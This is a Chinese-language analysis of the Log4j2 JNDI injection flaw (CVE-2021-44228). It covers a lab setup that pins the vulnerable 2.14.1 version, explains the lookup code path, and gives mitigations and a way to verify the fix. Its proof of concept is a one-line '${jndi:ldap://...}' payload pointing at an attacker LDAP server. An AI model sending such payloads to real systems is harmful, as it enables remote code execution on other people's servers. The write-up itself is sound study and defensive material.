log4j2注入原理分析
字数 1308 2025-08-29 22:41:39
Log4j2注入漏洞原理分析与复现
1. 漏洞概述
Log4j2注入漏洞(CVE-2021-44228)是Apache Log4j2日志框架中存在的一个严重远程代码执行漏洞。该漏洞允许攻击者通过构造特殊的日志消息触发JNDI注入,从而在目标服务器上执行任意代码。
2. 环境搭建
2.1 Maven项目配置
创建Maven项目,pom.xml文件需包含以下依赖:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version> <!-- 漏洞版本 -->
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
2.2 Log4j2配置文件
在resources目录下创建log4j2.xml配置文件:
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="info">
<Properties>
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<Property name="pattern2"> ==n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n </Property>
<Property name="filePath">logs/myLog.log</Property>
</Properties>
<appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console>
<RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/
$$
{date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile>
</appenders>
<loggers>
<root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root>
</loggers>
</configuration>
3. 漏洞复现POC
String username = "${jndi:ldap://192.168.85.236:1389/zkgeem}";
logger.info("User {} login in!", username);
4. 漏洞原理分析
4.1 漏洞触发流程
-
日志格式化:当调用
logger.info()时,Log4j2会调用PatternLayout类的toSerializable方法对日志进行格式化 -
消息转换:进入
MessagePatternConverter类的format方法,然后调用replace方法 -
变量替换:进入
substitute方法进行字符串匹配和变量替换 -
JNDI解析:当遇到
${jndi:...}格式的字符串时,Log4j2会:- 解析JNDI变量
- 向指定的LDAP/LDAPS、RMI或DNS服务发起请求
- 获取返回的Java对象并反序列化
-
代码执行:最终通过
InitialContext.lookup()方法触发代码执行
4.2 关键点分析
-
Lookup功能:Log4j 2.x支持多种lookup模块,如:
${sys:user.name}- 系统属性${java:version}- Java版本信息${jndi:...}- JNDI查询
-
问题根源:
- 对用户输入的日志内容未做任何过滤
- 直接解析并执行
${jndi:...}格式的字符串 - 未验证JNDI请求的目标是否可信
-
攻击向量:
- 攻击者可以构造恶意的LDAP/RMI/DNS地址
- 服务器会无条件解析这些地址并执行返回的代码
5. 漏洞利用条件
- 使用Log4j2版本2.0-beta9至2.14.1
- 日志输出中包含用户可控的输入
- 目标服务器能够访问外部网络(出站连接)
6. 防御措施
- 升级版本:升级到Log4j2 2.15.0或更高版本
- 临时缓解:
- 设置系统属性
log4j2.formatMsgNoLookups=true - 移除JndiLookup类:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 设置系统属性
- 输入过滤:对用户输入进行严格过滤,避免直接记录到日志
- 网络限制:限制服务器出站连接,特别是LDAP/RMI/DNS协议
7. 漏洞影响范围
几乎所有使用受影响版本Log4j2的Java应用程序都可能受到攻击,包括但不限于:
- Web应用程序
- 企业级应用
- 云服务
- 嵌入式系统
8. 漏洞修复验证
修复后应验证:
${jndi:ldap://example.com}格式的字符串不再被解析- 日志中直接输出原始字符串而非解析后的内容
- 不再有对外部JNDI服务的连接请求